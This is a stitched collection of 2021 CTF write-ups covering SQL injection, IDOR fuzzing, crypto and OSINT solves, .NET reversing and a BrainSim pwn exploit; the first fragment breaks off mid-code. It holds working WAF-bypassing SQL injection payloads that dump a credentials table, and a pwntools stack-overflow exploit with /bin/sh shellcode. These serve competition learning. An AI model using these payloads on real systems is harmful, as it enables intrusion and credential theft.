Set $fi=(F[3],-F[8]),se=(F[8],-F[13]),th=(F[13],-F[18]),fo=(F[18],-F[23])$
Then we build the algorithm to calculate gccd through vector as follows (The essence of this algorithm is just Euclidean algorithm):
```pyfrom Crypto.Util.number import GCD##########Pha an ##############
# Dat b = 16 # Ta co:# FF[3].b^{2e} = FF[8] (mod n)# FF[8].b^{2e} = FF[13] (mod n)# FF[13].b^{2e} = FF[18] (mod n)# FF[18].b^{2e} = FF[23] (mod n)# => n | GCD(FF[3].b^{2e}-FF[8],FF[8].b^{2e}-FF[13],...)# Y tuong: Tim GCD(FF[3].b^{2e}-FF[8],FF[8].b^{2e}-FF[13])# Dat fi = (FF[3],-FF[8]) ; se = (FF[8];-FF[13])def GCD_pair(fi,se): while(True): if(fi[0]==se[0] or fi[0]==0 or se[0]==0): return else: if(fi[0] |
Assalamualaikum everyone.....
Event Name: Compfest13 Challenge Name: Chase The FlagLevel: Hard
We can see there is a URL included with that challenge. The URL is ---> ```http://103.152.242.56:13534```
In the URL, we can see there are some team name and the winner is "Wait, whut" team. We need to login as that team's username and password to get the flag.
Let's look over the source code of that webpage. We can see some js code in script tag at the last part of that webpage's source. Let's try to get some information from the code. We can see 'url = "leaderboard.php";' in 58th line. So let's add leaderboard.php with the URL of that webpage --->```http://103.152.242.56:13534/leaderboard.php```There are the names, ids and scores of all team that participated there.
In 64th line of that webpage's source code, there is a line 'url += "?name=" + keyword;' the url is the main URL of that webpage included leaderboard.php file. the '?name=' is the parameter and 'keyword' is the search query.Ajax used there so we usually can't get the URL with parameter and search query if we search in the main URL's Search Bar. So the final URL will be --->```http://103.152.242.56:13534/leaderboard.php?name=Alpha```
I will show you with the team name Alpha (invalid name will show only '[]'). Add a simple string (') or (%27) after the team name Alpha. We got error from the database "You have an error in your SQL syntax.....near '' ORDER BY points DESC' at line 1". Now the SQL injection part begins. Add a comment, i used (--+-). Still showing error. We will use NULL BYTE INJECTION Technique. Add ;%00 before the comment. The URL will be --->```http://103.152.242.56:13534/leaderboard.php?name=Alpha%27;%00--+-```
Error fixed! We need to count columns now. But the webpage has a WAF in spaces ( ), pluses (+) and percent (%). Let's bypass the WAF! I used an inline comment ```(/**/)``` in spaces. Let's start with 10 columns since we don't know how many columns are there. The URL will be --->```http://103.152.242.56:13534/leaderboard.php?name=Alpha'/**/order/**/by/**/1,2,3,4,5,6,7,8,9,10;%00--+-```
An error showing that Unknown Column 4 In Order Clause. So there are 3 columns. Let's do Union Select to see the vulnerable column. But we need to add 'and 0' before the union select payload (sometimes polygons are important to fix dbs errors). So the URL will be --->```http://103.152.242.56:13534/leaderboard.php?name=Alpha'/**/and/**/0/**/UniOn/**/sEleCT/**/1,2,3;%00--+-```
We can inject any of the columns. I injected in 2nd column. So let's count columns and tables.
URL of table names ---> ```http://103.152.242.56:13534/leaderboard.php?name=Alpha'/**/and/**/0/**/UniOn/**/sEleCT/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database();%00--+-```
URL of column names ---> ```http://103.152.242.56:13534/leaderboard.php?name=Alpha'/**/and/**/0/**/UniOn/**/sEleCT/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema=database();%00--+-```
We need to extract winner team username and password that are in teamcreds table. I concatinated username and password with group_concat() function. So let's dump data. The URL will be --->```http://103.152.242.56:13534/leaderboard.php?name=Alpha'/**/and/**/0/**/UniOn/**/sEleCT/**/1,group_concat(username,0x3d3d,password),3/**/from/**/teamcreds;%00--+-```
We seen that "Wait, whut" team is the winner and from here, we can see their team's username is "Waitwhut" and password is "Th1sIsN0tPl41nT3xtRight?"
Go to the main URL of the webpage, there is a line "Congratulations! Now, winners can claim their code here!". Tap/Click in here and you will be in the login page. Just login with that username and password and the flag will come as an alert.
Finally the flag is --->
COMPFEST13{get-fifty-percent-off-in-CTF-Course-using-this-code_c765355330}
Thanks everyone for reading my writeup, this is my first writeup about a CTF event's challenge, so please pardon my miatakes. |
## Web - Door Lock
Description:
The door is open to all! See who is behind the admin door??
Author: **r3curs1v3_pr0xy**
Following the same format as the previous web challenge, we are back within our food based website.

Here is the Login page within the site menu.

This time we need to register and then sign in.

Now we have full access to our profile.

If you look closely, as I was using the built-in browser within ZAP, you can see in the URL that I have a Profile ID of 1357.
I initially checked the profiles of users 0 and 1 to see if I could access the admin profile, to no avail. I did try some additional random id numbers as I did not want to brute force the page as I thought this was not permitted.
However, once the challenge was finished I set up a ZAP fuzzer for 3000 id numbers.

Opened fuzzer.

Opened payloads.

Generated number payload.

Started the fuzzer. Once it was completed, I was able to review the complete list. One way would be to filter by "size response body" and look for the difference between ids.

However as we were expecting a flag, I utilised the search using the HTTP Fuzz Results for the flag prefix - GrabCon.

This came up with two hits, both with the id=1766.
```htmlGET http://34.135.171.18/profile/index.php?id=1766 HTTP/1.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: keep-aliveReferer: https://34.135.171.18/login/index.phpCookie: PHPSESSID=b5424674b8786e71d7ae5eb8bacb8bb7Upgrade-Insecure-Requests: 1Host: 34.135.171.18```
Now all we need to do is either go to the webpage and amend the id or look at the ZAP response for that id, where we find the words and flag highlighted in red.

Flag:##### GrabCON{E4sy_1D0R_} |
**Official Writeup**
**tl;dr**
+ Finding Chat application+ Extract unread message count from NTUSER.dat.+ Extract the last executed timestamp of the chat application.+ Extract the Version of the chat application.
Link to the writeup: [https://blog.bi0s.in/2021/08/16/Forensics/Ermittlung-InCTF-Internationals-2021/](https://blog.bi0s.in/2021/08/16/Forensics/Ermittlung-InCTF-Internationals-2021/)
Author: [g4rud4](https://twitter.com/_Nihith) |
[Original writeup](https://github.com/DauHoangTai/CTF/blob/master/2021/CsawCTF/README.md#challenge-securinotes) https://github.com/DauHoangTai/CTF/blob/master/2021/CsawCTF/README.md#challenge-securinotes |
# Baby EncoderHere is the challenge code and Description```I encoded the flag with my own encoder. I'm sure you can decode it because my encoder is just a baby encoder!```
```pythonfrom Crypto.Util.number import bytes_to_long
def displace(a, base): res = [] for i in range(base): if base + i >= len(a): for j in range(base - 1, i - 1, -1): res.append(a[j]) return res res.append(a[base + i]) res.append(a[i]) for j in range(len(a) - 1, 2 * base - 1, -1): res.append(a[j]) return res
def flag_encoder(flag): encoded_flag = [] n = len(flag) f = [ord(ff) for ff in flag] for i in range(n): encoded_flag.append(ord(flag[i]) ^ ord(flag[i - 1])) for i in range(n): encoded_flag[i] ^= encoded_flag[n - i - 1] a = [] for i in range(0, n, 3): a.append(encoded_flag[i] + encoded_flag[i + 1]) a.append(encoded_flag[i + 1] + encoded_flag[i + 2]) a.append(encoded_flag[i + 2] + encoded_flag[i]) encoded_flag = a for i in range(1, n): if i % 6 == 0: encoded_flag = displace(encoded_flag, i) encoded_flag = ''.join(chr(encoded_flag[i]) for i in range(n)) return encoded_flag
with open('/home/kourosh/CTF/TMU/crypto/BabyEncoder/flag', 'rb') as f: flag = f.read().decode('UTF-8') print(str(bytes_to_long(flag_encoder(flag).encode())))```
# Solution
This challenge really blowed my mind :')\It has 4 custom encoding parts which are like below
## step 1
It `xor` every byte of the flag with it's previous byte```pythonencoded_flag = []n = len(flag)f = [ord(ff) for ff in flag]for i in range(n): encoded_flag.append(ord(flag[i]) ^ ord(flag[i - 1]))```
to reverse this step I wrote this code```pythondef decode3(data):
last = ord('}') size = len(data) new1 = []
for i in range(size-1, -1, -1):
last = last ^ data[i] new1.append(last) new1 = reverse(new1) new2 = [] for i in range(size): new2.append(new1[(i+1)%size])
return new2```
## step 2This step `xor` every byte of the previous steps output with its mirror bytes `(0 with n-1)(1 with n-2)` and ...```pythonfor i in range(n): encoded_flag[i] ^= encoded_flag[n - i - 1]```
To reverse this step I wrote this code```pythondef decode2(data):
size = len(data) for i in range(size-1, -1, -1): data[i] ^= data[size - i - 1]
return(data)```
## step 3This step seperate previous steps output into 3 blocks and sum each block with it's next block```pythona = []for i in range(0, n, 3): a.append(encoded_flag[i] + encoded_flag[i + 1]) a.append(encoded_flag[i + 1] + encoded_flag[i + 2]) a.append(encoded_flag[i + 2] + encoded_flag[i])encoded_flag = a```
And here is the reversed code to recover```pythondef decode1(data):
size = len(data) new = []
for i in range(0, size, 3): a0 = (data[i] - data[i+1] + data[i+2]) // 2 a1 = (data[i+1] - data[i+2] + data[i]) // 2 a2 = (data[i+2] - data[i] + data[i+1]) // 2
new.append(a0) new.append(a1) new.append(a2) return(new)```
## step 4Here is the code```pythondef displace(a, base): res = [] for i in range(base): if base + i >= len(a): for j in range(base - 1, i - 1, -1): res.append(a[j]) return res res.append(a[base + i]) res.append(a[i]) for j in range(len(a) - 1, 2 * base - 1, -1): res.append(a[j]) return res
for i in range(1, n): if i % 6 == 0: encoded_flag = displace(encoded_flag, i)```
Actually I didn't realize what this function really does (LOL) because I had limited time to put on it to understand\But the thing I know is that it just changes bytes positions without any change in bytes values.\As I saw in previous CTFs These functions usually reaches the same state if we repeat them\So I used the same function with try and error numbers to find exact iteration number
```pythondef displace(a, base): res = [] for i in range(base): if base + i >= len(a): for j in range(base - 1, i - 1, -1): res.append(a[j]) return res res.append(a[base + i]) res.append(a[i]) for j in range(len(a) - 1, 2 * base - 1, -1): res.append(a[j]) return res test = [ord(f) for f in long_to_bytes(28946494946812141829547706026065914605092406854105997612241563383442514740934913838546119691331952671988567947306226900850151388621540356510466883510328793101483278519506803779932615196763052658252298923048223762802716830885754352726914690907223838594044069643833511017514637891042919056).decode()]
for i in range(1, 30): test = displace(test, 72) for i in range(1, 310): test = displace(test, 66)
for i in range(1, 4290): test = displace(test, 60)
for i in range(1, 2590): test = displace(test, 54)
for i in range(1, 37128): test = displace(test, 48)
for i in range(1, 168): test = displace(test, 42)
for i in range(1, 18): test = displace(test, 36)
for i in range(1, 60): test = displace(test, 30)
for i in range(1, 42): test = displace(test, 24)
for i in range(1, 36): test = displace(test, 18)
for i in range(1, 20): test = displace(test, 12)
for i in range(1, 12): test = displace(test, 6)```
Because this function has been called several times with different bases(6,12,18,..,72). so we should repeat it with different bases each base has different iteration number
So here is the final overall decoding process```pythonfrom Crypto.Util.number import long_to_bytes
def displace(a, base): res = [] for i in range(base): if base + i >= len(a): for j in range(base - 1, i - 1, -1): res.append(a[j]) return res res.append(a[base + i]) res.append(a[i]) for j in range(len(a) - 1, 2 * base - 1, -1): res.append(a[j]) return res
def reverse(lst): return [ele for ele in reversed(lst)]
def decode1(data):
size = len(data) new = []
for i in range(0, size, 3): a0 = (data[i] - data[i+1] + data[i+2]) // 2 a1 = (data[i+1] - data[i+2] + data[i]) // 2 a2 = (data[i+2] - data[i] + data[i+1]) // 2
new.append(a0) new.append(a1) new.append(a2) return(new)
def decode2(data):
size = len(data) for i in range(size-1, -1, -1): data[i] ^= data[size - i - 1] return(data)
def decode3(data):
first = ord('}') size = len(data) new1 = []
for i in range(size-1, -1, -1):
first = first ^ data[i] new1.append(first) new1 = reverse(new1) new2 = [] for i in range(size): new2.append(new1[(i+1)%size])
return new2
test = [ord(f) for f in long_to_bytes(28946494946812141829547706026065914605092406854105997612241563383442514740934913838546119691331952671988567947306226900850151388621540356510466883510328793101483278519506803779932615196763052658252298923048223762802716830885754352726914690907223838594044069643833511017514637891042919056).decode()]
flags = True
for i in range(1, 30): test = displace(test, 72) for i in range(1, 310): test = displace(test, 66)
for i in range(1, 4290): test = displace(test, 60)
for i in range(1, 2590): test = displace(test, 54)
for i in range(1, 37128): test = displace(test, 48)
for i in range(1, 168): test = displace(test, 42)
for i in range(1, 18): test = displace(test, 36)
for i in range(1, 60): test = displace(test, 30)
for i in range(1, 42): test = displace(test, 24)
for i in range(1, 36): test = displace(test, 18)
for i in range(1, 20): test = displace(test, 12)
for i in range(1, 12): test = displace(test, 6)
print(test)
size = len(test)
test1 = decode1(test)print(test1)
test2 = decode2(test1)print(test2)
test3 = decode3(test2)print(test3)
flag = ''.join(chr(test3[i]) for i in range(size))print(flag)```
Here is the output and the flag```text[128, 45, 131, 170, 99, 103, 183, 126, 115, 88, 91, 3, 63, 137, 92, 148, 94, 68, 162, 82, 84, 148, 142, 184, 130, 141, 111, 161, 227, 166, 105, 76, 107, 169, 122, 171, 68, 145, 91, 6, 111, 105, 214, 213, 213, 153, 144, 143, 115, 195, 134, 111, 101, 198, 155, 110, 53, 215, 193, 198, 180, 169, 179, 96, 106, 176, 234, 199, 181, 163, 136, 149, 41, 45, 40, 49, 66, 65][107, 21, 24, 87, 83, 16, 86, 97, 29, 0, 88, 3, 9, 54, 83, 61, 87, 7, 82, 80, 2, 95, 53, 89, 50, 80, 61, 50, 111, 116, 68, 37, 39, 109, 60, 62, 7, 61, 84, 0, 6, 105, 107, 107, 106, 76, 77, 67, 27, 88, 107, 104, 7, 94, 49, 106, 4, 110, 105, 88, 95, 85, 84, 83, 13, 93, 108, 126, 73, 88, 75, 61, 18, 23, 22, 24, 25, 41][41, 25, 24, 22, 23, 18, 61, 75, 88, 73, 126, 108, 93, 13, 83, 84, 85, 95, 88, 105, 110, 4, 106, 49, 94, 7, 104, 107, 88, 27, 67, 77, 76, 106, 107, 107, 105, 6, 0, 84, 59, 110, 85, 87, 7, 107, 104, 7, 111, 55, 89, 85, 87, 108, 104, 95, 91, 108, 57, 10, 88, 2, 105, 0, 59, 84, 111, 38, 73, 69, 42, 107, 2, 68, 65, 0, 12, 66][84, 77, 85, 67, 84, 70, 123, 48, 104, 33, 95, 51, 110, 99, 48, 100, 49, 110, 54, 95, 49, 53, 95, 110, 48, 55, 95, 52, 108, 119, 52, 121, 53, 95, 52, 95, 54, 48, 48, 100, 95, 49, 100, 51, 52, 95, 55, 48, 95, 104, 49, 100, 51, 95, 55, 104, 51, 95, 102, 108, 52, 54, 95, 95, 100, 48, 95, 121, 48, 117, 95, 52, 54, 114, 51, 51, 63, 125]TMUCTF{0h!_3nc0d1n6_15_n07_4lw4y5_4_600d_1d34_70_h1d3_7h3_fl46__d0_y0u_46r33?}```
```Flag : TMUCTF{0h!_3nc0d1n6_15_n07_4lw4y5_4_600d_1d34_70_h1d3_7h3_fl46__d0_y0u_46r33?}```
[solution code](https://github.com/KooroshRZ/CTF-Writeups/blob/main/TMU2021/Crypto/BabyEncoder/solve.py)
> KouroshRZ for **AbyssalCruelty** |

I underlined the important parts in the image. So we know that we are looking for a guy who is interested in online learning and human-computer interaction. **(hint1)**
So i simply typed google:

### Found a website, but don't help us. So my second dork was like this:

### After a bit scroll down, i found some useful links on researchgate. To whom don't know researchgate, it is a website like google academic for publishing articles.
### So in here we found a common name, Harry B. Santoso , this is enough for getting suspicious.

### These to both about online learning. After that i did some research of this name. And found this, which confirms hint1.

### So let's continue.
[Harry B. Santoso](https://cs.ui.ac.id/personnel/harry-budi-santoso/) has a [linkedin](https://www.linkedin.com/in/harry-b-santoso-11191224/?originalSubdomain=id) page.
What!!

This is good. We found the lab's name: Digital Library and Distance Learning Lab
And their [website](http://dl2.cs.ui.ac.id/):

You can look members for assistants name, but this won't help according to **hint2**.But what we know is that we are looking for a product that belongs to this lab.
Under research tab, you can find it.

http://dl2.cs.ui.ac.id/blog/index.php/research-products/
So some contains links, - https://scele.cs.ui.ac.id/ No this is not.(hint4)- http://i-oer.com/ This is more like a russian website.- https://lontar.cs.ui.ac.id/Lontar/opac/themes/newui/ This could be, but not since 2016, its since 2009. (But don't skip this, this link is not completely useless, we'll come back later.)- http://esfindo.cs.ui.ac.id/ No dns records for this, so out of assessment- http://www.pusatbahasaarab.com/ Nah, not the one.- http://monitoring.cs.ui.ac.id/login Yeah, this is the one.
So in here you may ask how do you know that their publishing times, so here is the [wayback machine](https://en.wikipedia.org/wiki/Wayback_Machine) this is for.

This self-monitoring website was publishing since 23 October 2016.
We are one step close to the answer now.> COMPFEST13{monitoring.cs.ui.ac.id_
So here comes the difficult part. We know a research assistant published a report at 2018 about this site and it's in faculty's library.In this part, i struggled a bit, because i can't go to Indonesia for this report. I did some research online, maybe it would have been leaked in somewhere, vain...But my mind helped me and i remembered this https://lontar.cs.ui.ac.id/Lontar/opac/themes/newui
Yeah this was a project that Digital Library and Distance Learning Lab had designed. **DIGITAL LIBRARY!!!**
After that, easy. I simply typed self-monitoring and:

According to **hint3** we found our guy and also the report which has an indonesian title.
You can try both names, in hint3 this was also mentioned. We know that Muhammed Luqman Hakim is our guy
# COMPFEST13{monitoring.cs.ui.ac.id_muhammadluqmanhakim} |
[original writeup](https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/OSINT/Tour%20%282%29/README.md)(https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/OSINT/Tour%20%282%29/README.md). |
# AliceInCeptionland - corCTF 2021
- Category: Reverse- Points: 473- Solves: 56- Solved by: drw0if - hdesk
## Description
Our dear beloved Alice is undergoing a cerebral attack by some of the fiercest enemies known to man. Quick, get in there and help her!
## Solution
We are given a windows binary, it seems to be a .NET program, in fact when we launch it we get a `.NET Form application`:

We can unpack it with `dnSpy`, let's start with main function:```c#private static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); BaseGame baseGame = new BaseGame(); Application.Run(baseGame); if (!string.IsNullOrEmpty(baseGame.Foo) && !string.IsNullOrEmpty(baseGame.Bar)) { byte[] iv = null; byte[] key = null; using (MD5 md = MD5.Create()) { iv = md.ComputeHash(Encoding.ASCII.GetBytes(baseGame.Foo)); } using (SHA256 sha = SHA256.Create()) { key = sha.ComputeHash(Encoding.ASCII.GetBytes(baseGame.Bar)); } using (Aes aes = Aes.Create()) { aes.IV = iv; aes.Key = key; aes.Padding = PaddingMode.PKCS7; ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV); using (MemoryStream memoryStream = new MemoryStream()) { using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write)) { byte[] aliceInCeptiondream = Resources.AliceInCeptiondream; cryptoStream.Write(aliceInCeptiondream, 0, aliceInCeptiondream.Length); cryptoStream.FlushFinalBlock(); Application.Run(new DeepDream(Assembly.Load(memoryStream.ToArray()))); } } } }}```
First things first it runs a `BaseGame` object, then it checks for the presence of `baseGame.Foo` and `baseGame.Bar` strings, in the end it decrypts one of the resources attached to the binary file and runs it.
```c#private void BaseGame_KeyDown(object sender, KeyEventArgs e){ Point location = this.imgActor.Location; if (e.KeyCode == Keys.Left) { location.X = ((location.X < 60) ? 0 : (location.X - 60)); } else if (e.KeyCode == Keys.Up) { location.Y = ((location.Y < 60) ? 0 : (location.Y - 60)); } else if (e.KeyCode == Keys.Right) { location.X = ((location.X >= base.Size.Width - 120) ? location.X : (location.X + 60)); } else if (e.KeyCode == Keys.Down) { location.Y = ((location.Y >= base.Size.Height - 150) ? location.Y : (location.Y + 60)); } if (location == this.imgFirst.Location && this.imgFirst.Visible) { base.Visible = false; CheshireCat cheshireCat = new CheshireCat(); if (cheshireCat.ShowDialog(this) != DialogResult.OK) { base.Close(); return; } this.Foo = cheshireCat.Secret; this.imgFirst.Visible = false; base.Visible = true; } else if (location == this.imgSecond.Location) { if (this.imgFirst.Visible) { location = this.imgActor.Location; } else { base.Visible = false; Caterpillar caterpillar = new Caterpillar(); if (caterpillar.ShowDialog(this) != DialogResult.OK) { base.Close(); return; } this.Bar = caterpillar.Secret; base.Visible = true; base.Close(); } } this.imgActor.Location = location;}```
This function inside the `BaseGame` class handles the key strokes, in particular it moves the player icon and checks wheter the player reached one of the question mark.
The `imgFirst` launches the `CheshireCat` class and when it is over it is used to get the `Foo` string.
```c#private void button1_Click(object sender, EventArgs e){ string text = WhiteRabbit.Transform("41!ce1337"); char[] array = WhiteRabbit.Transform(this.textBox1.Text).Reverse<char>().ToArray<char>(); for (int i = 0; i < array.Length; i++) { char[] array2 = array; int num = i; array2[num] ^= text[i % text.Length]; } if (string.Join<char>("", array.Reverse<char>()).Equals("oI!&}IusoKs ?Ytr")) { this.Secret = this.textBox1.Text; this.label1.Visible = false; this.textBox1.Visible = false; this.button1.Visible = false; this.timer1.Start(); }}```
Let's notice that `WhiteRabbit.Transform` does nothing:```c#public static string Transform(string s){ return s;}```
We can pass the check inside this class with this simple snippet:```pythontext = bytearray(b'41!ce1337')array = bytearray(b'oI!&}IusoKs ?Ytr'[::-1])
for i in range(len(array)): array[i] ^= text[i % len(text)]
foo = array[::-1]print(foo.decode())```Which produces `\xDE\xAD\xBE\xEF`.
Next we can move on to the `Caterpillar` class:```c#private byte rol(byte v, byte s){ byte b = s % 8; return (byte)((int)v << (int)b | v >> (int)(8 - b));}
private void button1_Click(object sender, EventArgs e){ string text = WhiteRabbit.Transform("c4t3rp1114rz_s3cr3t1y_ru13_7h3_w0r1d"); char[] array = WhiteRabbit.Transform(this.textBox1.Text).Reverse<char>().ToArray<char>(); for (int i = 0; i < array.Length; i++) { byte b = Convert.ToByte(array[i]); b = this.rol(b, 114); b += 222; b ^= Convert.ToByte(text[i % text.Length]); b -= 127; b = this.rol(b, 6); array[i] = Convert.ToChar(b); } if (string.Join<char>("", array.Reverse<char>()).Equals("\0R\u009c\u007f\u0016ndC\u0005î\u0093MíÃ×\u007f\u0093\u0090\u007fS}\u0093)ÿÃ\f0\u0093g/\u0003\u0093+ö\0Rt\u007f\u0016\u0087dC\aî\u0093píÃ8\u007f\u0093\u0093\u007fSz\u0093ÇÿÃÓ0\u0093\u0086/\u0003q")) { this.Secret = this.textBox1.Text; this.label1.Visible = false; this.textBox1.Visible = false; this.button1.Visible = false; this.timer1.Start(); }}```
Once again we just need to reverse the encryption process:```pythontext = bytearray(b'c4t3rp1114rz_s3cr3t1y_ru13_7h3_w0r1d')array = bytearray(b'\x00\x52\x9C\x7F\x16\x6E\x64\x43\x05\xEE\x93\x4D\xED\xC3\xD7\x7F\x93\x90\x7F\x53\x7D\xAD\x93\x29\xFF\xC3\x0C\x30\x93\x67\x2F\x03\x93\x2B\xC3\xB6\x00\x52\x74\x7F\x16\x87\x64\x43\x07\xEE\x93\x70\xED\xC3\x38\x7F\x93\x93\x7F\x53\x7A\xAD\x93\xC7\xFF\xC3\xD3\x30\x93\x86\x2F\x03\x71'[::-1])
for i in range(len(array)): b = array[i] b = ((b >> 6) & 0xFF) | ((b << 2) & 0xFF) b = (b + 127) & 0xFF b ^= text[i % len(text)] b = (b - 222) & 0xFF b = ((b >> 2) & 0xFF) | ((b << 6) & 0xFF) array[i] = b
bar = array[::-1]print(bar.decode())```
The second secret is `\x4\xL\x1\xC\x3\x1\xS\xN\x0\xT\x4\xS\xL\x3\x3\xP\xS\x4\xV\x3\xH\x3\xR`.
Now we can extract the embdedded binary:```pythonimport hashlib
from Crypto.Cipher import AES
def MD5(p): return hashlib.md5(p).digest()
def SHA256(p): return hashlib.sha256(p).digest()
iv = MD5('\xDE\xAD\xBE\xEF'.encode())key = SHA256('\x4\xL\x1\xC\x3\x1\xS\xN\x0\xT\x4\xS\xL\x3\x3\xP\xS\x4\xV\x3\xH\x3\xR'.encode())
cipher = AES.new(key, AES.MODE_CBC, iv)
with open('AliceInCeptiondream', 'rb') as f: data = f.read()
data = cipher.decrypt(data)
with open('decrypted', 'wb') as f: f.write(data)```
The new binary is another .NET Form application, this binary contains some function used inside the `DeepDream` class:
```c#private void button1_Click(object sender, EventArgs e){ if (!((string)this.Dream.GetType("AliceInCeptiondream.Dream").GetMethod("Encode").Invoke(null, new object[] { this.textBox1.Text })).Equals("3c3cf1df89fe832aefcc22fc82017cd57bef01df54235e21414122d78a9d88cfef3cf10c829ee32ae4ef01dfa1951cd51b7b22fc82433ef7ef418cdf8a9d802101ef64f9a495268fef18d52882324f217b1bd64b82017cd57bef01df255288f7593922712c958029e7efccdf081f8808a6efd5287595f821482822f6cb95f821cceff4695495268fefe72ad7821a67ae0060ad")) { MessageBox.Show(this, "If you were to chant these words of stupidity,\nI'd imagine we would never see Alice again...\nTry another chant... Something has to work!", "Probably you are 1000 kilogram in basement."); return; } this.label1.Visible = false; this.button1.Visible = false; this.textBox1.Visible = false; this.label2.Visible = true; this.button2.Visible = true;}```
Since we aren't much confident with C# we rewrote the hole decrypted binary file in python and tried to reverse the function. Luckily the encryption algorithm works character by character so we made a [lookup table](solve2.py) and used it to decrypt the string.
The third key is Sleeperio `Sleeperio Sleeperio Disappeario Instanterio!`
The last thing to do is to click on the second button of this form application and we got the flag.
```corctf{4l1c3_15_1n_d33p_tr0ubl3_b3c4us3_1_d1d_n0t_s4v3_h3r!!:c}``` |
## BrainSim
> Points: 500>> Solves: 1
### Description:Heyy! So, I found this BF simulator thing. I thought it's hackable-ish? Because my friend told me there's flag file in it. Maybe you could help me while I'm having my breakfast ? Ehehe...
nc 103.152.242.242 29461
Author: xMaximusKl
Hint: Simple BOF using brainfuck, I wonder what you could with that ? Maybe hanging around in a forbidden place ? :)
### Attachments:```brainsim-master-public.zip```
I was able to start the shell in my local environment but couldn't get the flag from the server during the competition time.After the competition, I managed to start the shell, and when I checked the binary of the server, the binary of the server and the binary of attachment were different.
```$ ls -ltotal 48-rwxr-xr-x 1 0 0 21064 Sep 12 04:47 BrainSim <--- The size is different.-rw-r--r-- 1 0 0 2261 Sep 12 04:47 BrainSim.c```
When I checked with the administrator on Discord, it seems that the administrator forgot to update the attachment.
I got the binaries from the server and checked the difference between the two binaries.The following parts of the `Interpret` function are different. There is one more `getchar()` in the attachment binary.
``` case 0x2c: iVar2 = getchar(); mem[mp] = (char)iVar2; getchar(); <----- this part ip = ip + 1; break;```
Attach the binary `BrainSim_server` I got from the server.
## Analysis:
This is a challenge with Brainfuck.Since NX is disabled, launch the shellcode on the stack BoF.
```$ checksec BrainSim Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments```
Brainfuck uses the following variables.```ip: Instruction pointerip_end: End position of instruction pointermp: Data pointerbrack: Flag to check the number before and after the bracket```
Since the range of the value of data pointer`mp` is not checked when executing the Brainfuck code, I can read the value on the stack and write arbitrary data by specifying the following character string.```.,[>.,]```
## Solution:
First I used `.,[>.,]` to leak the stack address (mp = 0 address).
```0x7fffffffddb0: 0x0000000000000000 0x00000000000000000x7fffffffddc0: 0x0000000000000000 0x00000000000000000x7fffffffddd0: 0x00007fffffffdee0 0x00007fffffffd5d0 <--- Leak this 0x7fffffffd5d0.0x7fffffffdde0: 0x00007fffffffde00 0x00005555555556ed0x7fffffffddf0: 0x00007fffffffdee0 0x31000000000000000x7fffffffde00: 0x0000555555555700 0x00007ffff7a03bf7```
Then I used `,[>,]` to write the shellcode and then change the return address of the `Interpret` function to the leaked stack address.
```0x7fffffffd5d0: 0x622fb84852d23148 0x485068732f2f6e69 <--- shellcode0x7fffffffd5e0: 0x48e689485752e789 0x414141050f3b428d0x7fffffffd5f0: 0x4141414141414141 0x4141414141414141...0x7fffffffddb0: 0x4141414141414141 0x41414141414141410x7fffffffddc0: 0x4141414141414141 0x41414141414141410x7fffffffddd0: 0x4242424242424242 0x42424242424242420x7fffffffdde0: 0x4242424242424242 0x00007fffffffd5d0 <--- Change from 0x5555555556ed to 0x7fffffffd5d00x7fffffffddf0: 0x00007fffffffdee0 0x31000000000000000x7fffffffde00: 0x0000555555555700 0x00007ffff7a03bf7```
I can start the shellcode by returning from the `Interpret` function to the `main` function with the `Exit` function.
## Exploit code:```pythonfrom pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './BrainSim'elf = ELF(BINARY)
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "103.152.242.242" PORT = 29461 s = remote(HOST, PORT) REMOTE = Trueelse: s = process(BINARY) libc = elf.libc REMOTE = False
def Interpret_code(code): s.sendlineafter("Input : ", "1") s.sendlineafter("Code : ", code)
def Make_string(s0): s1 = "" for i in range(len(s0)): s1 += s0[i] + s0[i] return s1
if REMOTE: # stack leak Interpret_code(".,[>.,]") s.sendline("A"*0x810+"\x00"*2)
s.recvuntil("Output: " + "\x00"*0x800) s.recv(8) stack_leak = u64(s.recv(8)) print "stack_leak =", hex(stack_leak)
Interpret_code(",[>,]") buf = shellcode buf += "A"*(0x800 - len(buf)) buf += "B"*0x18 buf += p64(stack_leak) s.sendline(buf)
else: # stack leak Interpret_code(".,[>.,]") s.sendline("AA"*0x810+"\x00")
s.recvuntil("Output: " + "\x00"*0x800) s.recv(8) stack_leak = u64(s.recv(8)) print "stack_leak =", hex(stack_leak)
Interpret_code(",[>,]") buf = Make_string(shellcode) buf += "AA"*(0x800 - len(buf)/2) buf += "BB"*0x18 buf += Make_string(p64(stack_leak)[:-1]) + "\n" s.sendline(buf)
s.interactive()
```
## Results:```bashmito@ubuntu:~/CTF/COMPFEST_CTF_2021/Pwn_BrainSim/brainsim-master-public/public$ python solve.py r[*] '/home/mito/CTF/COMPFEST_CTF_2021/Pwn_BrainSim/brainsim-master-public/public/BrainSim' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments[+] Opening connection to 103.152.242.242 on port 29461: Donestack_leak = 0x7ffd02a75070[*] Switching to interactive mode
